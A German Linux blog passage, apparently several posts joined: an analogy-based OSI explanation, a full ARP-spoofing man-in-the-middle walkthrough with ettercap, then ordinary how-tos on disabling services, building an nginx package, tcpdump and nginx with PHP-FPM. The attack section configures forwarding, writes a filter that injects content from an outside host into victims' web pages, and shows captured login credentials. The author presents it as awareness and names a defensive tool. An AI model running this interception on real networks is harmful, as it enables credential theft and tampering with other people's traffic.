Einen „Port„, kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).


Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.

1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung

cat backup.iso | nc -l 3333

2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen

nc 192.168.0.1 3333 > backup.iso

-> weitere Infos zu nc


[stextbox id=“info“]Somit gibt es noch etliche weitere Beispiele, wo Anwendungen durch ein bestimmtes Protokoll miteinander kommunizieren und wir hätten bereits die obersten Schichten 7 & 6 & 5 – die Anwendungs- & Darstellungs- & Sitzungsschicht die sogenannten „Anwendungsorientierten Schichten“ grob erklärt. (wobei die letzte ein abgebrochenes Gespräch wieder an einer Vorherigen stelle beginnen kann… nur um dazu auch ein paar Wort verloren zu haben)[/stextbox]


1.2.) Als nächstes müssen wir uns Vorstellen, dass diese ‚Sätze‘ welche die Personen miteinander sprechen (also die Daten, welche Sie austauschen) nicht Satz für Satz gesprochen (übertragen) werden, sondern jedes Wort wird einzeln gesprochen und mit einer laufenden Nummer versehen.


z.B.:
Sender schickt folgendes Satz ->
1.Hallo 2.du 3.da, 4.was 5.geht?


Daten kommen durcheinander beim Empfänger an ->
4.was 2.du 1:Hallo 3.da 5.geht?


Und der Empfänger setzt den Satz wieder zusammen ->
Hallo du da, was geht?


Somit kann man die einzelnen Wörter auf verschiedenen Wegen zum Empfänger schicken und diese können zu verschiedenen Zeiten ankommen, der Empfänger versteht die Nachricht trotzdem. Außerdem kann es manchmal nötig sein, jemanden auf ein Gespräch hinzuweisen (Verbindung aufbauen) indem man z.B. dessen Hand schüttelt und der gegenüber nun weiß, dass nun die Kommunikation folgt und beim beendigen der selbigen, diesen Vorgang wiederholt. Falls man in diesem Fall etwas nicht verstanden hat (Daten auf dem Weg verloren gingen) kann man einfach noch einmal Nachfragen. (Drei-Wege-Handschlag – TCP)


Es  gibt jedoch auch Situationen, wo es vorkommt, dass die Kommunikation bei einer „Frage“ <-> „Antwort“ bleib,. zum Beispiel die Frage nach dem Wetter. Und wenn man von seinem gegenüber keine Antwort bekommt, dann halt nicht ;-) und man fragt noch einmal. Dieses Prinzip wendet man z.B. bei der Auflösung von einer IP zum Hostnamen (DNS) an, um nicht zu viel Overhead (zu viel Aufwand, für eine so kurze Antwort) zu erzeugen. – (UDP)


[stextbox id=“info“]Somit haben wir nun bereits die 4 Schicht – die Transportschicht erklärt.[/stextbox]


1.3.) Stellen wir uns weiter vor, dass wir nicht direkt vor unserm Gesprächspartner stehen, sondern dieser weit weg ist, daher schicken wir die einzelnen Wörter nun per Post und verpacken die „Sätze“ (Daten) -> „Wörter“ (Segmente) -> in Kisten (Paketen). Diese Kisten wenden nun über mehrere Wege von verschiedenen Poststellen (Routern) zum Ziel geliefert.


Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.

Als erstes schauen wir und unsere eigene IP-Adresse an.

ifconfig

Beispiel: Ausgabe

[...]
Link encap:Ethernet  Hardware Adresse 00:25:56:37:5b:96  
inet Adresse:192.168.2.103  Bcast:192.168.2.255  Maske:255.255.255.0
[...]

Hier können wir nun sehr viele hilfreiche Infos finden:

Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse

inter Adresse: deine IP-Adresse

Bcast: die letzte IP-Adresse in diesem Netzwerk

Mask: die Aufteilung von deinem Netz


In meinem Beispiel habe ich selber die IP-Adresse „192.168.2.103“ und die Netzmaske „255.255.255.0“ daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:

00000001 = 1

00000010 = 2

00000011 = 3

[…]

11000000 10101000 00000010 01100111

+ 11111111 11111111 11111111 00000000

————————

11000000 10101000 00000010 00000000


Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:

255.255.255.0 -> 11111111 11111111 11111111 | 00000000

Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen – (Supernetting)

2⁸ = 256 – 1 (Braodcast) – 1 (Netzadresse)

254 -> Hostanteil

Man kann nun den Hostanteil auch anders darstellen.

24 x I -> /24


Mit diesen Infos können wir nun mithilfe von „nmap“ das Netz nach aktiven PCs durchsuchen.

nmap -v -sP 192.168.2.255/24


Und ggf. auch nach offenen Ports im Netz suchen.

nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'


[stextbox id=“info“]Und somit auch die 3 Schicht – die Vermittlungschicht abgeschlossen.[/stextbox]


1.4.) Die Pakete kommen nun alle beim Hausmeister (Switch) an, dieser schreit nun durch das Treppenhaus, (Broadcast) wo Familie Müller wohnt (ARP) sollte sich nun zufällig ein böser Nachbar melden (ARP-Spoofing) und die Pakete annehmen, aufmachen, verändern, neu einpacken und an den ursprünglichen Empfänger weiterreichen, ohne das dieser davon etwas mitbekommt, haben wir eine sogenannte „Man In The Middle“ Taktik angewandt.


[stextbox id=“info“]Und somit die 2 Schicht – die Sicherungsschicht ausgetrickst.[/stextbox]


1.5.) Vor nicht alt so langer Zeit, wurden keine Hausmeister eingesetzt, die waren zu teuer, ;-) da musste der arme Postbote (Hub) alle Pakete an alle Mieter im Haus ausliefern. (An alle Computer im Netz alle Pakete schicken.) Man kann sich vorstellen, was das für ein Durcheinander war und das dies zu Problemen führte.


[stextbox id=“info“]Und somit auch die 1 Schicht – die Bitübertragungsschicht angesprochen.[/stextbox]



Kommen wir zum Punkt. Brauchte man in älteren Netzwerken, deren PCs über einen Hub miteinander verbunden waren, somit nur ein Sniffer-Programm z.B. Ethereal, um den gesamten Datenverkehr mitzulesen. Muss man heute meist „ARP-Spoofing“ und somit eine „Man In The Middle“ Methode anwenden, um an diese Daten zu kommen.


Angriff von innen

2.) System vorbereiten


Welches Interface wird verwendet?

mein_interface="wlan0"
folgende Befehle ausführen
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
Nun installieren wie folgendes Programm: ettercap
aptitude install ettercap-common ettercap
Und passen dessen Konfiguration ein wenig an…
vim /etc/eppercap
…ec_uid & ec_gid auf 0 stellen…
[…]
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
[…]
…und # vor den iptables-Regeln entfernen…
[…]
# if you use iptables:
redir_command_on = „iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport“
redir_command_off = „iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport“
[…]
…nun wechseln wir in folgendes Verzeichnis…
cd /usr/share/ettercap
(ggf. eigene Firewall ausschalten)
….und erstellen einen neuen Filter (neue Datei), welcher in „img“-Tag von HTML Dateien, welche per TCP von Port 80 verschickt wurden, ersetzt….
vim filter.pic
Inhalt:
if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
                replace("Accept-Encoding", "Accept-Rubbish!");
                msg("zapped Accept-Encoding!\n");
        }
}

if (ip.proto == TCP && tcp.src == 80) {
        replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
        replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
…nun übersetzten wir den neuen Filter…
etterfilter filter.pic -o filter.ef
…und starten das Programm…

3.) Hack durchführen

sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[…]
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
HTTP : 217.188.35.145:443 -> USER: ******@web.de  PASS: *******  INFO: http://www.studivz.net/
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
[…]
Habe die Zugangsdaten in diesem Beispiel durch „*“ ersetzt, in deinem Log stehen diese dann im Klartext. :-)
Bild-Fehler
Dies soll jedoch keineswegs eine Anleitung sein ein „böser“ Hacker zu werden, sondern ich wollte verdeutlichen, wie einfach es ist einen solchen Hack durchzuführen und ggf. an sensible Daten zu kommen. Daher, solltest du solche oder ähnliche Fehlermeldungen im Browser sehen, solltest du sehr vorsichtig sein.
SSL-Fehler
Und dir ggf. folgendes Programm (auch für Windows verfügbar) installieren. -> XArp <-
Wer mehr Infos zu diesem Thema sucht, sollte sich den folgenden Artikel -> www.heise.de/security/artikel/Angriff-von-innen <- durchlesen und sich folgende PDF-Datei herunterladen -> pi1.informatik.uni-mannheim.de/filepool/teaching/sicherheit-2006/ITS_20061128.pdf <-

Dienste unter Debian / Ubuntu deaktivieren

Da ich vor einiger Zeit von „Apache2“ zu „nginx“ als Webserver umgestiegen bin, den „alten Indianer“ jedoch in der Zwischenzeit noch auf einem anderen Port (127.0.0.1:8080) aktiv hatte, war es nun an der Zeit diesen abzuschalten.


Jeder Dienst besitzt ein Start-/Stop-Skript im Verzeichnis /etc/init.d diese werden dann den verschiedenen Runleveln zugeordnet.


/etc/rc0.d – Während das System herunterfährt
/etc/rcS.d – Während des Bootens ausführen
/etc/rc1.d – Arbeiten als einzelner Benutzer
/etc/rc2.d – Mehrbenutzerbetrieb inkl. Netzwerk
/etc/rc3.d bis /etc/rc5.d – Nicht genutzt
/etc/rc6.d – Während das System neu startet


Der Standard Runlevel von Debian / Ubuntu ist 2. Um diese Zuordnungen zu verstehen, zeige ich einfach ein Beispiel:

Befehl:

ls -alhF /etc/rc2.d/S20php5-fpm

Ausgabe:

lrwxrwxrwx 1 root root 18 28. Aug 02:10 /etc/rc2.d/S20php5-fpm -> ../init.d/php5-fpm*

Wie man sieht handelt es sich hierbei um einen Symbolischer-Link welcher auf ein Start-/Stop-Skript zeigt. Um diese Zuordnung zu ändern gibt es den Befehl „update-rc.d“

update-rc.d apache2 defaults

Defaults bedeutet, dass Apache in den Runleveln 2-5 gestartet und in allen anderen beendet wird.
In meinem Fall wollte ich den Dienst ausschauten und daher die Links entfernen, dies hab ich mittels diesem Befehl gemacht.

update-rc.d -f apache2 remove

Die Reihenfolge, vor/nach welchen anderen Scripts ein Dienst starten soll, wird über folgende Einstellungen geregelt.

Möchte man Apache z.B so einrichten, dass er nur in Runlevel 4 und 5 und nach allen anderen Diensten gestartet wird (99) , benutzt man folgende Zeile:

update-rc.d apache2 start 99 4 5 stop 01 0 1 2 3 6

Die Zeile hat folgende Bedeutung: Füge Startlinks (die mit “S99…” beginnen) in /etc/rc4.d und /etc/rc5.d ein, füge außerdem Stoplinks (die mit “K01…” beginnen) in den anderen rc.xd-Verzeichnissen ein. Apache wird also bei Runlevel-Wechseln zuletzt gestartet und zuerst wieder beendet.


Alternativ gibt es ein Front-End, welches dies ebenfalls erledigen kann, dieses muss in den meisten Fällen jedoch erst-einmal installiert werden.


aptitude install sysv-rc-conf
sysv-rc-conf

Mit dem Befehl „sysv-rc-conf“ kannst du nun sehr bequem Dienst ein-/ und ausschalten. (dies hat natürlich keinen Einfluss auf die momentan laufenden Prozesse, dieser musst du z.B. mit „/etc/init.d/apache2 stop“ oder „pkill apache2“ beenden)

Debian/Ubuntu Paket selber bauen (Nginx)

Heute zeige ich, wie du dir deinen eigenen Webserver (Nginx) als .deb-Paket bauen und installieren kannst… :-) In einem vorherigen Beitrag hatte ich bereits beschrieben, wie du PHP5-fpm mit Nginx installieren kannst. Da ich folgenden Fehler bei dem Update auf Version 0.9.1 bekommen habe ->


Can't locate nginx.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.1 /usr/local/share/perl/5.10.1 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .).
BEGIN failed--compilation aborted. 


<- wurde das deb-Paket kurzerhand neu-gebaut und zwar ohne Perl-Unterstützung. :-)


1.) Root werden und einiges ggf. nachinstallieren + die Quellen (deb-src) herunterladen

sudo bash
aptitude install build-essential devscripts fakeroot debhelper autotools-dev libpcre3-dev zlib1g-dev libssl-dev
mkdir /usr/src/nginx ; cd !$
apt-get source nginx
cd $(ls -d nginx*/)

2.) Ggf. schauen, ob es bereits eine neue Version gibt und diese herunterladen und abgleichen

wget http://sysoev.ru/nginx/nginx-0.9.1.tar.gz
export DEBFULLNAME='nginx';export DEBEMAIL='deine@email-adresse.de'; uupdate --upstream-version 0.9.1 ../nginx-0.9.1.tar.gz
cd ../$(dpkg-parsechangelog | sed -n 's/^Source: //p')-0.9.1
sed -i '/^Maintainer/s/: .*/: dein_name /;/^Uploaders/s/: .*/: dein_name /;/XSBC-Original-Maintainer/d' debian/control;

3.) die ./configure Variablen ggf. an deine Bedürfnisse anpassen (debian/rules)

vim debian/rules
config.status: config.sub config.guess
        ./configure \
            --conf-path=/etc/nginx/nginx.conf \
            --user=wwddw-data \
            --group=www-data \
            --sbin-path=/usr/sbin/nginx \
            --pid-path=/var/run/nginx.pid \
            --with-sha1-asm \
            --with-zlib-asm=pentiumpro \
            --with-md5-asm \
            --with-ld-opt="-L /usr/lib" \
            --with-cc-opt="-D FD_SETSIZE=2048" \
            --with-cc-opt="-I /usr/include" \
            --with-cpu-opt="opteron" \
            --error-log-path=/var/log/nginx/error.log \
            --http-client-body-temp-path=/var/lib/nginx/body \
            --http-fastcgi-temp-path=/var/lib/nginx/fastcgi \
            --http-log-path=/var/log/nginx/access.log \
            --http-proxy-temp-path=/var/lib/nginx/proxy \
            --http-scgi-temp-path=/var/lib/nginx/scgi \
            --http-uwsgi-temp-path=/var/lib/nginx/uwsgi \
            --lock-path=/var/lock/nginx.lock \
            --pid-path=/var/run/nginx.pid \
            --with-debug \
            --with-http_dav_module \
            --with-http_flv_module \
            --with-http_geoip_module \
            --with-http_gzip_static_module \
            --with-http_image_filter_module \
            --with-http_realip_module \
            --with-http_stub_status_module \
            --with-http_ssl_module \
            --with-http_sub_module \
            --with-http_xslt_module \
            --with-ipv6 \
            --with-sha1=/usr/include/openssl \
            --with-md5=/usr/include/openssl \
            --with-mail \
            --with-mail_ssl_module \
            --add-module=$(CURDIR)/modules/nginx-upstream-fair \
            --add-module=$(CURDIR)/modules/nginx-echo \
            $(CONFIGURE_OPTS) >$@
        touch $@
Ich habe einige Module deaktiviert welche ich nicht benötige, SSL-Verschlüsselung + IPv6 + … aktiviert und unter anderem Optimierungen für meine CPU aktiviert. Unter folgendem Link, findest du alle Module, welche standardmäßig bei „nginx“ mitgeliefert werden:
vim debian/control
In dieser Datei muss man ggf. noch Abhängigkeiten ergänzen oder entfernen. In meinem Fall habe ich die perl-lib entfernt, da ich dies auch aus der zu-vorigen Konfiguration entfernt hatte.

4.) Ggf. die Konfiguration ändern bzw. deine eigene übernehmen (debian/conf/)

Dafür änderst du einfach die Dateien unter „debian/conf/“ und sobald du das fertige Paket installierst, wird deine Konfiguration übernommen, dies kann auch sehr hilfreich sein, wenn du das selbe Programm mit den selben oder ähnlichen Konfiguration auf verschiedenen Computern installierst.

export DEBFULLNAME='nginx';export DEBEMAIL='deine@email-adresse.de';debuild -i -us -uc

5.) Installiere dein neues Debian-Paket :-)

cd ..
dpkg -i nginx_0.9*deb && sudo aptitude hold nginx
Anbei noch meine Nginx-Version ->
Du kannst .deb-Dateien auch entpacken, wenn du diese genauer anschauen möchtest.
ar -x nginx_0.9.1-ppa3_i386.deb
tar xzvf data.tar.gz
Links:

TCPdump – HowTo

TCPdump ist ein sehr mächtiger PacketSniffer für die Kommandozeile.


Installation: TCPdump

aptitude install tcpdump


TCPdump verwenden

Standard TCPdump Output:

tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
15:14:25.060050 IP 89.35.90.202.clax.ro.27015 > h89-37-110-61.teleson.ro.27005: UDP, length 229
15:14:25.060071 IP 89.35.90.202.clax.ro.27015 > 86-124-241-9.rdsnet.ro.27005: UDP, length 374
15:14:25.060213 IP 86-124-240-65.rdsnet.ro.27005 > 89.35.90.202.clax.ro.27015: UDP, length 78
15:14:25.060236 IP 91-213-135-21.optic-bridge.com.ro.45249 > 89.38.255.34.28822: UDP, length 20


Netzwerkadapter anzeigen

tcpdump -D

1.eth0
2.eth1
3.vmnet1
4.eth2
5.vmnet8
6.any (Pseudo-device that captures on all interfaces)
7.lo


Anzeigen von IP-Adressen anstatt DNS-Namen

tcpdump -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
15:16:30.923169 IP 89.35.90.202.38331 > 89.35.90.18.62613: P 2328456744:2328456940(196) ack 4034413693 win 644
15:16:30.923325 IP 89.35.90.202.38331 > 89.35.90.18.62613: P 196:360(164) ack 1 win 644


Ausgabe kürzen / zusammenfassen

tcpdump -q

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
15:17:03.118429 IP 89.35.90.202.clax.ro.38331 > 89.35.90.18.clax.ro.62613: tcp 196
15:17:03.119439 IP 89.35.90.202.clax.ro.53853 > ns1.clax.ro.domain: UDP, length 42
15:17:03.119631 IP host101-233-dynamic.245-95-r.retail.telecomitalia.it.11563 > 89.38.255.182.36307: UDP, length 20
15:17:03.119880 IP 79-113-85-203.rdsnet.ro.62621 > 89.35.90.202.clax.ro.27015: UDP, length 46
15:17:03.119903 IP user-ip-23-89-33-89-sel.rdsnav.ro.63087 > 89.35.90.202.clax.ro.27015: UDP, length 58
15:17:03.119913 IP 89.123.112.67.40328 > 89.38.255.34.63681: tcp 0



Netzwerkadapter angeben

tcpdump -i eth0


UDP-Pakete filtern

tcpdump udp


TCP Port 80 Traffic aufzeichnen

tcpdump port http
tcpdump port 80

TCP Quell-Port 80 Traffic aufzeichnen

tcpdump src port 80


TCP Ziel-Port 80 Traffic aufzeichnen

tcpdump dst port 80


Traffic-Aufzeichnung von einer bestimmten IP

tcpdump host 192.168.1.1


Traffic-Aufzeichnung von einer bestimmten Quell-IP

tcpdump src 192.168.1.2


Traffic-Aufzeichnung von einer bestimmten Quell-IP

tcpdump dst 10.1.1.2


Traffic-Aufzeichnung nach 20 Paketen stoppen

tcpdump -c 20


Traffic-Aufzeichnung eines IP-Netzes

tcpdump net 192.168.1.0/24


Output in eine Datei umleiten

tcpdump -w tcpdump_capture.log


Lesen eines TCPdump-Logs

tcpdump -r capture.log


Nginx + PHP5-fpm auf Debian/Ubuntu

Zurück zur „Webseiten beschleunigen“ – Übersicht

5.3) Nginx als Webserver


nginx_logo

Wer komplett auf nginx als Webserver umsteigen will kann dies auch sehr einfach bewerkstelligen. Ich persönlich nutzte diese Methode und es laufen mehrere WordPress-Webseiten, e107, DokuWiki u.s.w. tadellos mit diesem System.

Als erstes müssen wir unsere sources.list ein wenig erweitern… um php5-fpm direkt mit dem Projektmanager installieren zu können, wie dies Funktioniert habe ich bereits in einem anderen Beitrag beschreiben: php-5-FPM

Danach installieren wir nginx (Webserver) + PHP, wenn du noch apache2 oder einen anderen Webserver, welcher auf Port 80 lauscht installiert hast, musst du diesen nun deinstallieren bzw. erst einmal stoppen und ggf. einige libraries nachinstallieren, falls du Ubuntu und nicht Debian nutzt.


ggf. nur bei Ubuntu

wget http://us.archive.ubuntu.com/ubuntu/pool/main/k/krb5/libkrb53_1.6.dfsg.4~beta1-5ubuntu2_i386.deb
wget http://us.archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu38_3.8-6ubuntu0.2_i386.deb
sudo dpkg -i *.deb

ggf. root-Rechte

sudo bash

ggf. apache stoppen

/etc/init.d/apache2 stop
aptitude install nginx php5-fpm

Nun kommen wir zur Konfiguration, ich poste hier einfach mal meine komplette Konfig, daher sollte diese ohne Probleme lauffähig sein, wenn du die aktuelle Version installiert hast.

vim /etc/nginx/nginx.conf
user www-data;
worker_processes 4;
worker_rlimit_nofile 3000;
pid /var/run/nginx.pid;

# [ debug | info | notice | warn | error | crit ]
error_log /var/log/nginx/error.log;

#google_perftools_profiles /tmp/profile/;

events {
        worker_connections 2048;
        # use [ kqueue | rtsig | epoll | /dev/poll | select | poll ] ;
        use epoll;
        multi_accept on;
}

http {
        server_names_hash_bucket_size 64;

        ## Size Limits
        client_max_body_size        10M;
        client_header_buffer_size   32k;
        client_body_buffer_size     128k;
        large_client_header_buffers 64 8k;

        ## Timeouts
        client_body_timeout   3m;
        client_header_timeout 3m;
        send_timeout          3m;
        #expires              24h;
        keepalive_timeout     120 120;

        ## General Options
        ignore_invalid_headers   on;
        keepalive_requests       100;
        limit_zone normal $binary_remote_addr 5m;
        recursive_error_pages    on;
        sendfile                 on;
        server_name_in_redirect  off;
        server_names_hash_max_size 512;
        server_tokens            off;
        set_real_ip_from 127.0.0.1;
        real_ip_header X-Forwarded-For;

        ## TCP options
        #tcp_nopush on;
        tcp_nodelay off;
        #send_lowat 12000;

        include mime.types;
        default_type application/octet-stream;

        access_log /var/log/nginx/access.log;

        log_format main '$remote_addr - $remote_user [$time_local] $status '
        '\"$request\" $body_bytes_sent \"$http_referer\" '
        '\"$http_user_agent\" \"http_x_forwarded_for\"';

        ## Cache
        open_file_cache max=1000 inactive=24h;
        open_file_cache_valid    24h;
        open_file_cache_min_uses 2;
        open_file_cache_errors   on;

        ## Compression
        gzip              on;
        gzip_static       on;
        gzip_disable      "MSIE [1-6]\.";
        gzip_buffers      32 8k;
        gzip_comp_level   5;
        gzip_http_version 1.0;
        gzip_min_length   0;
        gzip_proxied      any;
        gzip_types text/plain text/css text/xml text/javascript application/json application/xml application/xml+rss application/x-javascript image/x-icon application/x-perl application/x-httpd-cgi;
        gzip_vary         on;

        output_buffers   10 128k;
        postpone_output  1500;

        # Beispiel: Loadbalance
        #upstream webbackend  {
                #ip_hash;
                #server web1.domain.lan weight=10 max_fails=3 fail_timeout=30s;
                #server web2.domain.lan weight=1 backup;
        #}

        # Beispiel: Reverse-Proxy
        #server {
                #access_log  /var/log/nginx/access.proxy.log main;
                #error_log   /var/log/nginx/error.proxy.log;
                #listen      80;
                #server_name _;

                ## PROXY - Web
                #location ~ \.php$ {
                        #proxy_cache            cache;
                        #proxy_pass  http://127.0.0.1:8080;
                #}
        #}

        # Beispiel: HTTP Server (sollte jedoch besser unter /etc/nginx/sites-available/ angelegt werden)
        #server {
                #listen       80;
                #listen       somename:80;
                #server_name  somename  alias  another.alias;

                #location / {
                        #root   html;
                        #index  index.html index.htm;
                        #}
                #}

        # Beispiel: HTTPS Server (sollte jedoch besser unter /etc/nginx/sites-available/ angelegt werden)
        #server {
                #listen       443;
                #server_name  localhost;

                #ssl                  on;
                #ssl_certificate      cert.pem;
                #ssl_certificate_key  cert.key;

                #ssl_session_timeout  5m;

                #ssl_protocols  SSLv2 SSLv3 TLSv1;
                #ssl_ciphers  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
                #ssl_prefer_server_ciphers   on;

                #location / {
                #root   html;
                #index  index.html index.htm;
                #}
        #}

#include /etc/nginx/proxy.conf;
include /etc/nginx/sites-enabled/*.conf;
}
vim /etc/nginx/proxy.conf
proxy_buffering            on;
proxy_cache_min_uses       3;
proxy_cache_path           /usr/local/nginx/proxy_cache/ levels=1:2 keys_zone=cache:10m inactive=24h max_size=1000M;
proxy_cache                cache;
proxy_cache_valid          200 24h;
proxy_cache_use_stale      error timeout invalid_header updating http_500 http_502 http_503 http_504;
proxy_ignore_client_abort  off;
proxy_intercept_errors     on;
proxy_next_upstream        error timeout invalid_header;
proxy_redirect             off;
proxy_set_header           Host            $host;
proxy_set_header           X-Real-IP       $remote_addr;
proxy_set_header           X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_buffers              32 1M;
proxy_busy_buffers_size    31M;
proxy_temp_file_write_size 30M;
proxy_buffer_size          30M;
proxy_connect_timeout      90;
proxy_send_timeout         90;
proxy_read_timeout         90;
proxy_ignore_headers       Expires Cache-Control;

so nun richten wir unsere erste Webseite ein… (domain.de muss in den nachfolgenden Howto durch deine eigene Domain ersetzt werden und natürlich für jede neue Werbepräsenz eine neue Datei angelegt werden.

cd /etc/nginx/sites-available/
vim domain.de.conf
server {
        server_name domain.de www.domain.de *.domain.de;
        root /var/www/www.domian.de/web/;
        listen 80;
        index index.php;
        access_log /var/log/nginx/www.domian.de.access.log main;
        error_log /var/log/nginx/www.domian.de.error.log;

        if (-f $request_filename) {
                break;
        }

        location / {
                try_files $uri $uri/ @domian;
        }

        location ~* ^.+.(htm|html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$ {
                access_log off;
                expires max;
                root /var/www/www.domian.de/web/;
        }

        location @domian {
                fastcgi_pass 127.0.0.1:9000;
                fastcgi_param SCRIPT_FILENAME $document_root/index.php;
                include /etc/nginx/fastcgi_params;
                fastcgi_param SCRIPT_NAME /index.php;
        }

        location ~ \.php$ {
                try_files $uri @domian;
                fastcgi_index index.php;
                fastcgi_pass 127.0.0.1:9000;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include /etc/nginx/fastcgi_params;
        }

        location ~ /\.ht {
                deny  all;
        }
}
vim /etc/nginx/fastcgi_params
fastcgi_connect_timeout 60;
fastcgi_send_timeout 180;
fastcgi_read_timeout 180;
fastcgi_buffer_size 128k;
fastcgi_buffers 4 256k;
fastcgi_busy_buffers_size 256k;
fastcgi_temp_file_write_size 256k;
fastcgi_intercept_errors on;

fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;

fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;

fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;

fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;

fastcgi_param  REDIRECT_STATUS    200;

nun müssen wir die Webseite nur noch aktivieren, indem wir die soeben erstellte Datei verlinken.

cd /etc/nginx/sites-enabled/
ln -s ../sites-available/domain.de.conf .
nginx -t
/etc/init.d/nginx restart

Und schon läuft unser neuer Webserver. :-) Um die neuste Version von Nginx auf Debian/Ubuntu zu installieren kann man ggf. noch folgende Quellen in die „sources.list“ eintragen.

echo "deb  http://ppa.launchpad.net/nginx/stable/ubuntu lucid main" >> /etc/apt/sources.list
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C300EE8C
apt-get update
apt-get install nginx

… oder du verwendest die letzte Development-Version:

echo "deb  http://ppa.launchpad.net/nginx/development/ubuntu lucid main" >> /etc/apt/sources.list
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C300EE8C
apt-get update
apt-get install nginx

Nun müssen wir PHP5-FPM noch ein wenig anpassen, so dass php-fpm mit den Rechten des jeweilligen Webs ausgeführt wird:

mkdir /etc/php5/fpm/pools/
vim /etc/php5/fpm/php5-fpm.conf
[...]
[global]
pid = /var/run/php5-fpm.pid
error_log = /var/log/php-fpm.log
log_level = notice
emergency_restart_threshold = 10
emergency_restart_interval = 1m
process_control_timeout = 5s
daemonize = yes

;  pools defined in virtual hosts
include=/etc/php5/fpm/pools/*.conf
[..]

Nun leben wir für eine Webseite eine PHP-Konfiguration an:

vim /etc/php5/fpm/pools/domain.conf
[domain]

; one Port for one Website
listen = 127.0.0.1:11000

; uid/gid
user = domain_user
group = domain_group

; logging
request_slowlog_timeout = 5s
slowlog = /var/log/slowlog-domain.log

; Choose how the process manager will control the number of child processes.
pm.max_children = 10
pm.start_servers = 5
pm.min_spare_servers = 2
pm.max_spare_servers = 4
pm.max_requests = 500

; Pass environment variables
env[TMP] = /var/www/www.domain.de/phptmp
env[TMPDIR] = /var/www/www.domain.de/phptmp
env[TEMP] = /var/www/www.domain.de/phptmp

; inculde defaults
include = /etc/php5/fpm/common.conf

; host-specific php ini settings here
;php_admin_value[open_basedir] =
vim /etc/php5/fpm/common.conf
listen.backlog = -1
listen.allowed_clients = 127.0.0.1
pm = dynamic
pm.status_path = /status
ping.path = /ping
ping.response = pong
request_terminate_timeout = 120s
rlimit_files = 131072
rlimit_core = unlimited
catch_workers_output = yes
env[HOSTNAME] = $HOSTNAME
env[PATH] = /bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/sbin:/usr/sbin
Jetzt läuft der PHP-fpm Prozess mit den Rechten des jeweiligen Users und mit eigenem Tmp-Verzeichnis, wer will kann php-fpm sogar in einer chroot-Umgebung ausführen lassen :-)
Links:

Webseiten Analyse

Zurück zur „Webseiten beschleunigen“ – Übersicht

1.) Webseiten Analyse

